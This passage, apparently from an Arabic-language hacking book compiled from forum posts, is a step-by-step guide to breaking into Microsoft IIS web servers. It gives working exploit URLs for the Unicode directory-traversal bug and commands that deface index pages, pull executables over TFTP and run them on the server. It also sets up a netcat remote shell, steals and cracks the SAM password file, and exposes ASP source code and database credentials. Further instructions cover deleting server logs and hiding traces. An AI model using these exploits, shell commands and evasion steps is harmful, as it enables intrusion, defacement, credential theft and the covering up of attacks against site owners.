عملية‬ ‫التختراق هذه‬ ‫‪359‬‬

‫سنقو‪.‬م اول بتغيير اسم الملف من ‪ index.htm‬الى‬ ‫اي اسم اتخر يخطر ببالك وليكن ‪ss.htm‬‬ ‫طبعا سنرسل المر عبر ثغرة اليونيكود من المتصفح‬ ‫لديك وسنقو‪.‬م بتغيير الداله ‪ c+dir‬الى الداله ‪c+ren‬‬ ‫)) عليك ان تعرف ان الوامر التي سوتضع هي نفس‬ ‫الوامر الموهجوده في ‪ Dos‬وفي ‪Command‬‬ ‫‪ Prompt‬فعليك ان تكون عارفا بما هو المر المراد‬ ‫استخدامه‬ ‫المهم ستكتب الثغره هكذا ‪:‬‬ ‫‪msadc/..%c0%af../..%c0%af../../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪c+ren+C:\Inetpub\wwwroot\index.ht‬‬ ‫‪m+ss.htm‬‬ ‫وهكذا فقد تم تغيير اسم الصفحة من ‪index.htm‬‬ ‫الى ‪ss.htm‬‬ ‫ارأيتم كم هو سهل ‪ (:‬؟‬ ‫‪A‬يبدو انك ايها المخترق لم تكتفي باغلق الصفحة‬ ‫الرئيسيه للموقع فانت تريد ان تضع صفحة بموضوع‬ ‫اتخر وليكن الموضوع هو‬ ‫‪!!!Hacked‬‬ ‫فكيف سنرسلها في صفحة ‪ index.htm‬؟؟‬ ‫‪360‬‬

‫هناك عدة طرق ومنها سأذكر هذه الطريقه وهي عبر‬ ‫التصال بمنفذ ‪ TFTP‬الذي ستكون فيه انت في وضع‬ ‫السيرفر والموقع الذي امامك‬ ‫في وضع الكلينت‬ ‫كيف سيتم هذا ؟‬ ‫اول قم بتركيب نظا‪.‬م سيرفر ‪ TFTP‬على هجهازك‬ ‫) البرنامج المذكور في اول الموضوع من افضل‬ ‫البرامج وهناك برنامج اتخر اكثر احترافا ولكن هذا‬ ‫يكفي (‬ ‫الن ضع السيرفر الرئيسي في \‪ C:‬لديك‬ ‫قم بتصميم صفحة تخفيفه وسريعه وسمها‬ ‫‪ index.htm‬وضعها في \‪C:‬‬ ‫الن نريد ان نرسل للسيرفر الملف الجديد من \‪C:‬‬ ‫لدينا الى ملف‬ ‫‪C:\inetpub\wwwroot‬‬ ‫ل ليس المر صعبا ففي نظم ميكروسوفت يوهجد امر ))‬ ‫هو بالصح برنامجا منفصل (( يحمل اسم ‪TFTP‬‬ ‫وهو عباره عن كلينت بسيط يستخد‪.‬م‬ ‫‪361‬‬

‫بروتوكول ‪ TFTP‬وهو بروتوكول بسيط هجدا هجدا‬ ‫)) يسميه البعض البروتوكول التافه (( يقو‪.‬م بسحب او‬ ‫ارسال الملفات من والى الجهاز‬ ‫نحن نريد ان يسحب ملفا من هجهازنا فكيف لنا ذلك ؟‬ ‫طبعا لو كنا في غير اليونيكود لكتبنا توليفة المر‬ ‫التالي ‪:‬‬ ‫‪tftp.exe -i XXX.XXX.XXX.XXX get‬‬ ‫‪index.htm‬‬ ‫‪C:\inetpub\wwwroot\index.htm‬‬ ‫)) ‪ XXX.XXX.XXX.XXX‬تعني اي بي السيرفر‬ ‫المراد سحب الملف منه ((‬ ‫في توليفة هذا المر يقو‪.‬م الكلينت بطلب الملف‬ ‫المسمى ‪ index.htm‬ليضعه في هجهازه في المجلد‬ ‫‪wwwroot‬‬ ‫ولكن ل تنسى فشكل توليفة الوامر يختلف من الوضع‬ ‫العادي عن وضع اليونيكود‬ ‫فما هو الحل ؟‬ ‫الحل هو ان تحول توليفة المر الى يونيكود لتضعه في‬ ‫الثغره التي لديك‬ ‫بعد تحويل المر الى يونيكود سيصبح شكله كالتالي ‪:‬‬

‫‪362‬‬

‫"‪tftp.exe+‬‬‫‪i"+XXX.XXX.XXX.XXX+GET+index.ht‬‬ ‫‪m+C:\Inetpub\wwwroot\index.htm‬‬ ‫ياللروعه لقد تجاوزنا العقبه بالفعل ‪(:‬‬ ‫الن قم بتشغيل سيرفر الـ ‪ TFTP‬وقم بتجهيز ملف الـ‬ ‫‪index.htm‬‬ ‫وقم بالتصال مع الموقع عبر ثغرة اليونيكود المضاف‬ ‫اليها هذه التوليفه ليصبح في النهايه على هذا النحو ‪:‬‬ ‫‪msadc/..%c1%9c../..%c1%9c../../‬‬ ‫?‪%c1%9c../winnt/system32/cmd.exe‬‬ ‫"‪/c+tftp.exe+‬‬‫‪i"+XXX.XXX.XXX.XXX+GET+index.ht‬‬ ‫‪m+C:\Inetpub\wwwroot\index.htm‬‬ ‫وهكذا قمنا بتحميل الصفحة الى النترنت وانتيهنا من‬ ‫عملية التختراق )) تقريبا ‪(( (:‬‬ ‫ملحوظه ‪ :‬يمكنك ان تقو‪.‬م بتحميل ملفات ‪ EXE‬ايضا‬ ‫وتشغيلها على السيرفر بنفس السلوب وهذا مثال ‪:‬‬ ‫لنفرض اننا نريد تحميل ملف ‪ EXE‬على السيرفر‬ ‫وسميناه ‪ hunter.exe‬ونريد تشغيله فكيف لنا ذلك‬ ‫؟‬ ‫‪363‬‬

: ‫سنتبع التي‬ ‫م بتحميل الملف على السيرفر كما قمنا بتحميل‬.‫نقو‬ ‫ للسيرفر عبر هذه‬C:\ ‫ ونضعه في‬index.htm : ‫التوليفه‬ msadc/..%c1%9c../..%c1%9c../../ %c1%9c../winnt/system32/cmd.exe? /c+tftp.exe+"i"+XXX.XXX.XXX.XXX+GET+hunter. exe+C:\hunter.exe ‫بعد ان يتم تحميل الملف سنشغله عبر تنفيذ هذا المر‬ msadc/..%c1%9c../..%c1%9c../../ %c1%9c../hunter.exe ‫او عن طريق هذا المر‬ msadc/..%c1%9c../..%c1%9c../../ %c1%9c../winnt/system32/cmd.exe? /c+hunter.exe

364

‫الن وقد قاربنا على النتهاء بقي لدينا في السيرفر‬ ‫عمل واحد فقط ال وهو مسح ملفات اللوج ‪*.log‬‬ ‫وسيكون ذلك عن طريق هذا المر ‪:‬‬ ‫‪msadc/..%c0%af../..%c0%af../../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪c+del+C:\*.log/s‬‬ ‫هناك انواع اتخرى من الملفات يتم تخزين فيها بعض‬ ‫المعلومات ويفضل مسحها ايضا وهي مثل الملفات ذات‬ ‫المتداد ‪tmp‬‬ ‫وهذا امر مسحها عبر اليونيكود ‪:‬‬ ‫‪msadc/..%c0%af../..%c0%af../../‬‬ ‫‪%c0%af../winnt/system32/cmd.exe?/‬‬ ‫‪c+del+C:\*.tmp/s‬‬ ‫ايضا ملحوظه مهمه وهي ان ل تبقى اي معلومات‬ ‫عنك في السيرفر كما يفعل البعض بذكر اسمائهم او‬ ‫ايميلتهم الحقيقيه قم بمسح اي شيء يدل عليك‬ ‫او على عملية التختراق )) حاول ان تصل الى هذا‬ ‫المستوى ((‬ ‫هناك عدد من الشياء والفكار لن اتطرق اليها مثل‬ ‫ارسال فايروس ما او امر على ملف ‪ bat‬حتى تتمكن‬ ‫من وضع مشكله كبيره في السيرفر لكي ل يعمل‬ ‫‪365‬‬

‫او ان ترسل فايروس يقو‪.‬م بمحو هجميع ملفات النظا‪.‬م‬ ‫او ان تمرز نفسك لديهم في السيرفر عن طريق برامج‬ ‫التحكم عن بعد و اتخفائها بشكل هجيد‬ ‫في المجلدات ذات الملفات الكثير )) مثل‬ ‫‪ (( system32‬والكثير الكثير‬ ‫_______________________________‬ ‫_______________________________‬ ‫__________________‬ ‫ملحوظات ‪ :‬لن تعمل هذه الثغره في كل الحالت فهناك‬ ‫بعض السيرفرات يقومون بقطع الطريق عليك عن‬ ‫طريق مسح ملف ‪ tftp‬من سيرفراتهم‬ ‫)) الملف المسؤول عن ذلك موهجود في المجلد‬ ‫‪ (( system32‬وبعض السيرفرات قامت بعملية‬ ‫الترقيع )) اصدرت ميكروسوفت ترقيعا لهذه الثغره ((‬ ‫وبعضهم قد يكون واضع فاير وول يقو‪.‬م بمراقبة‬ ‫الباكيج الصادر والوارد وقد يقو‪.‬م بعمل اصطياد لمثل‬ ‫هذه العمليات‬ ‫واتخرون يقومون بتركيب برنامج الحمايه القوي هجدا‬ ‫في نظم ‪ IIS‬ال وهو ‪ Secure IIS‬من شركة‬ ‫‪Eeye‬‬ ‫‪366‬‬

‫والعديد العديد من العقبات ولكن عند كتابة هذا‬ ‫الموضوع )) قبل حوالي اربعة اشهر (( كان ما يقارب‬ ‫‪ %90‬من السيرفرات التي فيها نظا‪.‬م ‪IIS‬‬ ‫تحوي هذه الثغره وبدون ترقيع )) لعد‪.‬م وهجوده وقتها‬ ‫(( او لهمال المدير‪.‬‬ ‫انتهى‪،،،‬‬

‫" الدليل الكامل لوختراق سيرفر ‪" IIS‬‬ ‫>منقول من منتديات شبكة الحز‪.‬م<‬ ‫>الكاتب‪< DEMON :‬‬ ‫‪--------‬‬‫مقدمة ‪- :‬‬ ‫‪--------‬‬‫‪367‬‬

‫يعلم الجميع مدى انتشار سيرفرات ‪ IIS‬حيث تشكل‬ ‫النسبة الكبر المستخدمة في تشغيل مواقع النترنت ‪..‬‬ ‫ويعلم الجميع مدى ضعف الناحية المنية لهذه‬ ‫السيرفرات ‪ ..‬لذا قررت القيا‪.‬م بجمع اشهر ثغرات هذا‬ ‫النوع مع توضيح كيفية عملها ‪.‬‬ ‫‪--------‬‬‫ملحظة ‪- :‬‬ ‫‪--------‬‬‫معظم الطرق الموهجودة هنا تعمل على سيرفرات‬ ‫‪ IIS4.0‬و ‪ IIS5.0‬وهجميعها تعتمد على البورت ‪80‬‬ ‫))يعني من تخلل المتصفح(( ‪.‬‬ ‫‪------------‬‬‫المتطلبات ‪- :‬‬ ‫‪------------‬‬‫‪ CGI-Scanner -1‬هجيد ‪ ..‬أنا افضل ‪Whisker‬‬ ‫)يمكنك تنزيله من هذا الموقع ‪:‬‬ ‫‪( www.wiretrip.net/rfp‬‬ ‫‪ -2‬اكتيف بيرل لتشغيل ملفات البيرل ) يمكنك تنزيله‬ ‫من الموقع ‪:‬‬ ‫‪( /http://www.activestate.com‬‬ ‫‪368‬‬

‫‪ -3‬ويب سيرفر )اي نوع( اباتشي او ‪.. IIS‬‬

‫‪#########################‬‬ ‫‪#########################‬‬ ‫‪#########################‬‬

‫‪###########‬‬ ‫‪# Game Starts !#‬‬ ‫‪###########‬‬

‫‪---------------‬‬‫‪- : IIS Hack.exe‬‬ ‫‪---------------‬‬‫اكتشف تخبراء المن في شركة ‪ eEye‬ثغرة امنية‬ ‫تسمح لك بتحميل نسخه ذكية من ‪ nc.exe‬وهجعلها‬ ‫تنصت على المنفذ ‪.. 80‬‬ ‫وهذا سيعطيك سطر اوامر ‪ cmde.exe‬مع امتيازات‬ ‫‪369‬‬

‫‪. Administrator‬‬ ‫بامكانك انزال ‪ NC.exe‬و ‪ IIS Hack.exe‬من‬ ‫الموقع ‪. /http://www.technotronic.com‬‬ ‫ويجب تشغيل ويب سيرفر في هجهازك قبل تنفيذ الثغرة‬ ‫‪..‬‬ ‫قم بنسخ اداة ‪ nc.exe‬وضعها في الدليل الرئيسي‬ ‫للويب سيرفر لديك )في اباتشي ‪ (Htdocs‬وفي ‪IIS‬‬ ‫الدليل ‪. wwwroot‬‬ ‫ثم قم بتشغيل ‪: IISHack.exe‬‬ ‫‪c:\>iishack.exe‬‬ ‫‪http://www.target.com/ 80‬‬ ‫‪your_IP/ncx.exe‬‬ ‫وبعد اتما‪.‬م الخطوة السابقة بنجا ح ‪:‬‬ ‫‪ /c:\>nc http://www.target.com‬وستجد‬ ‫امامك ‪eGG SheLL‬‬ ‫ملحظة ‪ :‬تعمل هذه الثغرة على سيرفرات ‪IIS4.0‬‬ ‫فقط ))اذا لم يتم تركيب الرقعه(( ‪.‬‬ ‫‪do you want me to explain what to‬‬ ‫‪do next, hey common you must be‬‬ ‫‪kidding‬‬ ‫‪370‬‬

‫‪....hehe...‬‬

‫‪----------------‬‬‫‪-: MDAC = RDS‬‬ ‫‪----------------‬‬‫اعتقد انها ثغرة قديمة قليل )لكني ما زلت ارى ان‬ ‫‪ %40‬من المواقع تعاني منها ‪..‬‬ ‫تسمح لك هذه الثغرة بتشغيل اوامرك على النظا‪.‬م‬ ‫الهدف بشكل محلي ‪ ..‬سيتم تشغيل وامرك بصفتك‬ ‫مستخد‪.‬م ‪ SYSTEM‬اي بصلحيات مدير النظا‪.‬م ‪..‬‬ ‫على العمو‪.‬م اذا اردت معرفة اذا ما كان النظا‪.‬م مصابا‬ ‫بهذه الثغرة ا‪.‬م ل ‪..‬‬ ‫قم اول بالتصال بالنظا‪.‬م الهدف ‪c:\>nc -nw -w :‬‬ ‫‪ 2 http://www.host.com/ 80‬ثم قم بارسال‬ ‫المر ‪GET /msadc/msadcs.dll HTTP :‬‬ ‫فإذا كان الرد ‪ application/x_varg :‬فهذا يعني‬ ‫ان النظا‪.‬م مصاب )) اذا لم يتم ترقيعه (( ‪..‬‬ ‫بامكانك ايجاد سكربتات بيرل تسهل عليك العمل في‬ ‫هذا الموقع ‪www.wiretrip.net/rfp :‬‬ ‫‪(( mdac.pl - msadc2.pl )) v‬‬ ‫‪c:\> mdac.pl -h host.com‬‬ ‫‪371‬‬

‫‪Please type the NT commandline‬‬ ‫‪you want to run (cmd /c‬‬ ‫‪assumed):\n‬‬ ‫‪cmd /c‬‬ ‫إذا اردت تغيير الصفحه الرئيسية ما عليك ال تنفيذ‬ ‫المر ‪echo hacked by me hehe > :‬‬ ‫‪C:\inetpub\wwwroot\index.htm‬‬ ‫وإذا أردنا احكا‪.‬م السيطرة على الموقع بامكاننا تحميل‬ ‫‪ Hacker's Swiss knife Army‬اقصد‬ ‫‪ Nc.exe‬بواسطة هذا المر ‪:‬‬ ‫‪systemroot%&&tftp -i YourIP GET%‬‬ ‫‪nc.exe&&del ftptmp&& attrib -r‬‬ ‫‪nc.exe&&nc.exe -l -p 80 -t -e‬‬ ‫‪cmd.exe‬‬ ‫)) قم بقراءة المر من اليسار الى اليمين لتتمكن من‬ ‫قراءته هجيدا ((‬ ‫بعدها قم بالتصال بالنظا‪.‬م الهدف على المنفذ ‪80‬‬ ‫وستجد سطر اوامر مع امتيازات ‪Administrator‬‬ ‫‪.‬‬

‫‪-------------------------------------‬‬‫‪372‬‬

‫‪-: Codebrws.asp & Showcode.asp‬‬ ‫‪-------------------------------------‬‬‫الملفان عبارة عن قاريء ملفات ‪ ASP‬يأتي مع ‪IIS‬‬ ‫ولكنه ل يأتي محمل افتراضيا بل يجب على مدير‬ ‫النظا‪.‬م تفعيله ‪..‬‬ ‫فإذا كانت هذه الخدمة مفعلة ستسفيد منها كثيرا قهي‬ ‫تسمح لك بقراءة اي ملف ‪)) asp.‬اعني رؤية‬ ‫المصدر(( ‪.‬‬ ‫باستخدا‪.‬م هذا المر ستحصل على ملف السا‪.‬م )) اذا‬ ‫كان النظا‪.‬م مصابا (( ‪:‬‬ ‫‪http://www.victim.com/msadc/sampl‬‬ ‫‪_.es...nt/repair/sam‬‬ ‫بعد الحصول على ملف السا‪.‬م & ‪Expand it‬‬ ‫‪ .. Crack it‬باستخدا‪.‬م الداة المفضلة لدي ‪LC3.0‬‬ ‫)سيتم كسرها في اقل من ‪ 24‬ساعه ( ‪.‬‬

‫‪-------------‬‬‫‪- : Null.htw‬‬ ‫‪-----------‬‬‫عملية شر ح كيفية عمل هذه الثغرة معقد قليل ‪ ..‬لذا‬ ‫سأكتفي فقط بطريقة الستفادة منها ‪..‬‬ ‫‪373‬‬

‫باتختصار تسمح لك برؤية السورس كود لي ملف‬ ‫‪.. ASP‬‬ ‫لتنفيذ الثغرة ‪:‬‬ ‫?‪http://www.victim.com/null.htw‬‬ ‫‪CiWe...HiliteType=full‬‬ ‫سيعرض لك هذا الرابط السورس كود الخاص‬ ‫بالصفحه ‪. Default.asp‬‬

‫‪---------------------‬‬‫‪- : webhits.dll & .htw‬‬ ‫‪---------------------‬‬‫اول قم بتجربة اللنك على النظا‪.‬م الهدف ‪:‬‬ ‫‪http://www.victim.com/blabla.htw‬‬ ‫فإذا كان الرد بهذه العبارة ‪format of the :‬‬ ‫‪ QUERY_STRING is invalid‬فهذا يعني ان‬ ‫النظا‪.‬م الهدف مصاب بنسبة ‪. %90‬‬ ‫اتخيرا هجرب تنفيذ الثغرة بهذه الطريقة ‪:‬‬ ‫‪www.victim.com/xxxxxxxxx/xxxxxxx‬‬ ‫‪x/x...hilitetype=full‬‬ ‫مع تغيير الـ‬ ‫‪ XXXXX/XXXXX/XXXX/XXX.htw‬باحد هذه‬ ‫‪374‬‬

‫الملحقات ‪ ,‬وبالتأكيد سيعمل احدها ‪:‬‬ ‫‪iissamples/issamples/oop/qfullhit.ht‬‬ ‫‪w‬‬ ‫‪iissamples/issamples/oop/qsumrhit.‬‬ ‫‪htw‬‬ ‫‪isssamples/exair/search/qfullhit.htw‬‬ ‫‪isssamples/exair/search/qsumrhit.ht‬‬ ‫‪w‬‬ ‫وبالتالي ستحصل على ملف السا‪.‬م قم بكسره بواسطه‬ ‫الداة ‪.. LC3‬‬

‫‪-----------------------------------------------‬‬‫]‪ASP Alternate Data Streams [::‬‬ ‫‪-: $DATA‬‬ ‫‪-----------------------------------------------‬‬‫هذه الثغرة كانت بدايتها منذ العا‪.‬م ‪ .. 1998‬وهي‬ ‫مخصصة بالتحديد لسيرفرات ‪ IIS3.0‬والن تعمل‬ ‫على بعض سيرفرات ‪.. IIS4.0‬‬ ‫ومهمتها عرض السورس كود لي صفحه )) البعض‬ ‫يتساءل مالفائدة من عرض سورس الصفحه ؟؟ ((‬ ‫‪375‬‬

‫الهجابة ان بعض الصفحات تحتوي على معلومات‬ ‫مهمة مثل كلمات مرور قواعد البيانات مثل‬ ‫‪Global.asa‬‬ ‫يمكن تنفيذ الثغرة من المتصفح بواسطة هذا المر‬ ‫‪http://www.victim.com/default.asp::‬‬ ‫‪$DATA‬‬

‫‪-----------------‬‬‫‪- : ASP dot bug‬‬ ‫‪-----------------‬‬‫ربما اقد‪.‬م ثغرة في هذا النص هي هذه الثغرة حيث‬ ‫تقو‪.‬م ايضا بعرض السورس كود الخاص بأي صفحه ‪..‬‬ ‫حيث تم اكتشافها في العا‪.‬م ‪.. 1997‬‬ ‫ويتم تنفيذها من المتصفح بهذا الشكل ‪:‬‬ ‫‪http://www.victim.com/sample.asp.‬‬ ‫لحظ النقطة الموهجودة في اتخر السطر‬ ‫وهي فقط تعمل على سيرفرات ‪. IIS3.0‬‬

‫‪-----------------------------------‬‬‫‪- : ISM.DLL Buffer Truncation‬‬ ‫‪376‬‬

‫‪-----------------------------------‬‬‫تخطأ برمجي يسمح للمهاهجم بسحب الملفات ورؤوية‬ ‫السورس كود ايضا ‪..‬‬ ‫وفكرة الثغرة هي التحايل على السيرفر بإيهامه اننا‬ ‫قمنا يطلب ملف ما ‪ ..‬وفي الحقيقة نحن نقو‪.‬م بطلب‬ ‫ملف اتخر ‪..‬‬ ‫الملف المسؤوول عن هذا الخطأ هو ‪ ISM.dll‬حيث‬ ‫يتم تحميله بعدد كبير من الرموز المسافة )‪( 20%‬‬ ‫‪. Space‬‬ ‫يمكن تنفيذ الثغرة بهذا الشكل ‪:‬‬ ‫‪http://www.victim.com/global.asa‬‬ ‫‪%20(...<=230)global.asa.htr‬‬ ‫مكان الـ ‪ <=230‬نقو‪.‬م بوضع ‪ 230‬مسافة بهذا‬ ‫الشكل ‪.. %20‬‬ ‫هذا الخطأ يعمل على سيرفرات ‪.. IIS 4.0&5.0‬‬ ‫ولكن ل يمكن تجربتها على السيرفر اكثر من مره ال‬ ‫اذا قا‪.‬م بتسجيل تخروج وتسجيل دتخول ‪ ,‬ويعود السبب‬ ‫في ذلك ان الثغرة السابقة تؤدي الى ايقاف الملف‬ ‫‪ ISM.dll‬عن العمل في الذاكرة بينما تطلب الثغرة ان‬ ‫يكون الملف المذكور قيد العمل ‪ ..‬لذا يجب اعادة‬ ‫تحميل الملف في الذاكرة مره اتخرى ‪ ..‬اي بمعنى اتخر‬ ‫يجب ان يقو‪.‬م مدير النظا‪.‬م الهدف بعمل اعادة تشغيل‬ ‫‪377‬‬

‫‪ Rebot‬او ‪. Logout & Login‬‬

‫‪---------‬‬‫‪-: htr.+‬‬ ‫‪--------‬‬‫هذه الثغرة ايضا تقو‪.‬م بعرض السورس الخاص بملفات‬ ‫‪. ASP‬‬ ‫يمكن استخدامها بهذا الشكل ‪:‬‬ ‫‪http://www.victim.com/global.asa+.h‬‬ ‫‪tr‬‬

‫‪------------‬‬‫‪- : site.csc‬‬ ‫‪-----------‬‬‫تمكنك هذه الثغرة من معرفة معلومات مهمة عن الـ‬ ‫‪ DNS‬الخاص بالموقع بما في ذلك ‪DSN, UID‬‬ ‫‪.. and PASS Database‬‬ ‫الثغرة ‪:‬‬ ‫‪http://www.victim.com/adsamples/c‬‬ ‫‪onfig/site.csc‬‬ ‫‪378‬‬

‫سيقو‪.‬م المهاهجم بانزال الملف المذكور ‪ ..‬وسيحصل‬ ‫على معلومات قيمة و هامة أيضا ‪.‬‬ ‫انتهى‪،،،‬‬

‫"دراسة مفصلة وبعمق في الـ‬ ‫‪"UniCode‬‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪
‫السل‪.‬م عليكم ورحمه ال و بركاته ‪::‬‬ ‫ازيكم شباب ايه اتخباركم كلكم ؟ اتمنى تكونوا بخيرو‪.‬‬ ‫اعذرونى على غيبتى و انقطاعى عنكم و لكن و ال‬ ‫ظروف رهيبه‬ ‫و الن تخلونا نرغى فى شويه كل‪.‬م فاضى على رأى‬ ‫بروكن‬ ‫كنت اتصفح النترنت و ادعبث شوى و بعدين هجمعت‬ ‫بعض من المعلومات من ملفات مختلفه و هى تتحدث‬ ‫عن اليونى كود )طبعا الن معظمكم سيستعجل و يقول‬ ‫ياه ه ه ه ه يونى كود قديمه ‪....‬الخ ( و لكن انا اقوله‬ ‫اصبر لقد ذكرت اليونى كود فى المنتديات ثلث مرات‬ ‫مره عن الصديق بلك هنتر و مره من الخ هكس و‬ ‫مره عن الصديق ديمون او ابو تخلود لكن هذه المره‬ ‫صدقونى ستكون مختلفه تما‪.‬م التختلف عن المرات‬ ‫السابقه )‪( Trust Me‬‬ ‫و الن دعونا من ها الخرابيط و تخلونا نقول الدرس‬ ‫يمكن يعجبكم‪::‬‬ ‫اول‪:‬‬ ‫====‬ ‫متى وهجدت اليونى كود؟‬ ‫‪Found On 15 May 2001 BY‬‬ ‫‪380‬‬

‫‪NSFOCUS‬‬ ‫السيستيمز التى تتأثر بالثغره هى ‪::‬‬ ‫‪All running IIS 4 / IIS 5 web server‬‬ ‫‪Windows 2k‬‬ ‫‪Windows 2k SP1 + SP2‬‬ ‫ثغره اليونى كود ‪::‬هى عباره عن ثغره تسمح للهاكر‬ ‫بأن يشغل اوامر بالقوه بصلحيه مسمو ح بها )اى‬ ‫يكون له امتياز ‪IUSR_machinename‬‬ ‫‪( account‬‬ ‫و تحدث هذه الثغره اصل نتيجه ان روتين ال ‪cgi‬‬ ‫الموهجود على الويب سرفر نفسه يفك شفره عنوان‬ ‫الموقع مرتين و هذا ما نسميه بال ‪) DeCode‬ل‬ ‫تقلق ستفهم بعد ذلك (‬ ‫تعالى معى تخلينى اوضحلك ايه الخرابيط الى انا كاتبها‬ ‫فوق دى‬ ‫و ليكن مثل ‪::‬‬ ‫‪http://iisserver/scripts/..%5c..‬‬ ‫‪381‬‬

‫‪ <=== %...md.exe?/c+dir+c‬ثغره يونى كود‬ ‫‪ <==== /http://iisserver‬سيكون هذا هو هدفنا‬ ‫اى الموقع المصاب بالثغره المذكروه‬ ‫* ‪ - /scripts/‬و هذا الفولدر لديه امتيازات تنفيذيه‬ ‫على السرفر )اى يمكن لليوزر تنفيذ اى امر على الوب‬ ‫سرفر من تخلله ( وهذا الفولدر ايضا هو المستخد‪.‬م فى‬ ‫تنفيذ سكربتس ال ‪ cgi‬الموهجوده على الوب سرفر و‬ ‫بالتحديد هذا الفولدر يسمى الفولدر التنفيذى اى‬ ‫‪( executable directory‬‬ ‫و طبعا هذا الفولدر ليس له اسم ثابت هذا فقط مثال و‬ ‫لكن يمكن ان يكون له اسماء كثيره على الملقم ‪ iis‬و‬ ‫ملحوظه هامه‪ ::‬ل يوهجد على كل ملقم ‪ iis‬هذا‬ ‫الفولدرالتنفيذى اى ‪executable directory‬‬ ‫و اعتقد ان الصديق بلك هنتر و الخ هكس قد ذكرو‬ ‫معظم اسامى هذه الديريكتورز فى شرحهم )فأنا اريد‬ ‫ان اربط الدروس مع بعض حتى تكون سلسله متكامله‬ ‫(‬ ‫‪382‬‬

‫* ‪ <=== winnt/system32/cmd.exe‬و‬ ‫طبعا هذا هو ال ‪ cmd‬الذى يسمح لنا بأدراج سطور‬ ‫الوامر التى نريد تنفيذها )و على فكره ممكن تستعمل‬ ‫هذا ال ‪ cmd‬فى استخدا‪.‬م اوامر مثل ‪ ping‬و‬ ‫‪ netstat‬و ‪.... traceroute‬الخ اعتقد انها فكره‬ ‫لم يلحظها بعضنا (‬ ‫* ؟‪ -‬علمه الستفها‪.‬م تخيلو حتى علمه الستفها‪.‬م فى‬ ‫هذه الثغره لها دور فهذه العلمه تعنى الحاله التى ينفذ‬ ‫بها المر )طبعا مش فاهم يعنى ايه ( و ل يهمك تعالى‬ ‫معى افهمك يعنى ايه علمه الستفها‪.‬م تعنى كلمه‬ ‫‪ argument‬و هذه الكلمه هى التى تعنى الحاله التى‬ ‫سينفذ بها المر اى انه امر مثل ينفذ فى لحظه ثم‬ ‫ينتهى مثل ‪ copy‬مثل ا‪.‬م انه امر مثل ينفذ و لكن‬ ‫يستمر مفعوله و حقيقه ان طبعا معظم الوامر التى‬ ‫نستخدمها هى الوامر العاديه و هى من نوع‬ ‫‪ argument /c‬و هذا ال ‪ c/‬يعنى ان المر ينفذ فى‬ ‫لحظه ثم ينتهى‬ ‫تعالى افهمك اكثر ‪ ::‬لو عندك ويندوز ‪ 2000‬افتح ال‬ ‫‪ cmd‬بتاعك و اكتب هذا )‪ (?/ cmd‬و اضغط انتر‬ ‫‪,‬سيظهر لك كل‪.‬م كثير هجداا و لكنى اتخترت منه هجزء‬ ‫بسيط فقط للتوضيح و انت عليك الباقى‬ ‫‪383‬‬

:: ‫شوف ايه الى را ح يظهر لك‬ Starts a new instance of the Windows 2000 command interpreter CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | [/V:OFF [S] [/C | /K] string/]] C Carries out the command/ specified by string and then terminates K Carries out the command/ specified by string but remains S Modifies the treatment of string/ (after /C or /K (see below Q Turns echo off/ D Disable execution of AutoRun/ commands from registry (see (below ‫هذا هجزء بسيط هجداا مما را ح يظهر لك و لكن تعالى‬ :: ‫نشوف هذا الجزء ايه معناه اول يقولك‬ 384

‫‪Starts a new instance of the‬‬ ‫‪Windows 2000 command interpreter‬‬ ‫و هذه الجمله تعنى بالعربيه بدايه حاله هجديده من‬ ‫مترهجم ال ويندوز ‪ 2000‬و هذا طبعا وضح لنا ان كل‬ ‫‪ cmd‬يمكن ان يتخكم صاحبه فى حالته حسب ما يفتح‬ ‫او يغلق ال ‪ . arguments‬و بعدها يظهر لنا‬ ‫‪ arguments‬كثيره و منها الذى نستعمله دائما فى‬ ‫الثغره و هو ‪ c/‬شوفو كده ما المكتوب امامه ‪::‬‬ ‫‪Carries out the command specified‬‬ ‫‪ by string and then terminates‬و هذا‬ ‫الكل‪.‬م معناه انه ينفذ المر الموهجود فى سطر الوامر‬ ‫ثم ينتهى و طبعا هذا للوامر العاديه التى نعرفها‬ ‫تعالو نشوف السطر الى تحتيه ‪::‬سوف نجد انه يتكلم‬ ‫عن ‪ argument‬ل نراه فى ثغره اليونى كود و هو‬ ‫ال ‪ k/‬شوفو ايه مكتوب امامه‪::‬‬ ‫‪Carries out the command specified‬‬ ‫‪ by string but remains‬و طبعا معناه انه ينفذ‬ ‫الوامر الموهجوده فى السطر و لكن يستمر مفعولها‬ ‫)ما زلت ابحث عن اوامر مثل هذه و لكن هذا ما هو‬ ‫مكتوب امامى و لكن تقدر تقول انها الوامر التى تأتخذ‬ ‫فتره طويله حبتين مثل ‪ ping‬مثل (‬ ‫و مثل هناك ‪ argument‬أتخر مثل ‪ Q/‬و هذا‬ ‫‪385‬‬

‫نستخدمه فى اغلق تفعيل امر ‪ echo‬كما هو واضح‬ ‫فى المثال فوق‬ ‫و هناك الكثير من هذه ال ‪ arguments‬و طبعا‬ ‫منها ما هو اساسى ل يمكنك التحكم فيه )يعنى فتحه او‬ ‫غلقه مثل ال ‪ c/‬و ال ‪ ( k/‬و هناك اتخرين يمكنك ان‬ ‫تجعلهم ‪ on‬او ‪ off‬و بهذا تكون انت تتحكم بحاله ال‬ ‫‪ cmd‬تخاصتك )ياريت تنفذ المر و تقرأ المكتوب لنك‬ ‫را ح تلقى تفاصيل الفتح و الغلق بالتفصيل ( و‬ ‫اصبروا على قليل حتى انتهى من المتحان الول فى‬ ‫‪ MCSE‬فى تخلل اسبوعين ان شاء ال تعالى و بعد‬ ‫ذلك نعود اكثر قوه و نشر ح لكم هذه النقطه بالتفصيل‬ ‫ان شاء ال بس اصبرو شوى‬ ‫اعتقد انك الن فهمت ما هى ال ‪ arguments‬و ما‬ ‫فائده ‪ c/‬التى تكتبها فى الثغره و انا متأكد انك ل‬ ‫تعرف معناها ‪.‬‬ ‫تعالو نرو ح لنقطه سهله و بسيطه هجدااا فى الثغره‬ ‫‪,‬انت تشغل ال ‪ cmd.exe‬لنك تريد ان تتحكم‬ ‫بالموقع و تغير الندكس و الخ و و لكن تعالى مثل‬ ‫نشغل اى ملف تانى ياترى كيف نشغله ؟‬ ‫انا را ح اقلك كيف ‪::‬كل ما عليك فعله هو ان تقو‪.‬م‬ ‫بوضع اسم الفايل الذى تريد تشغيله بهذا 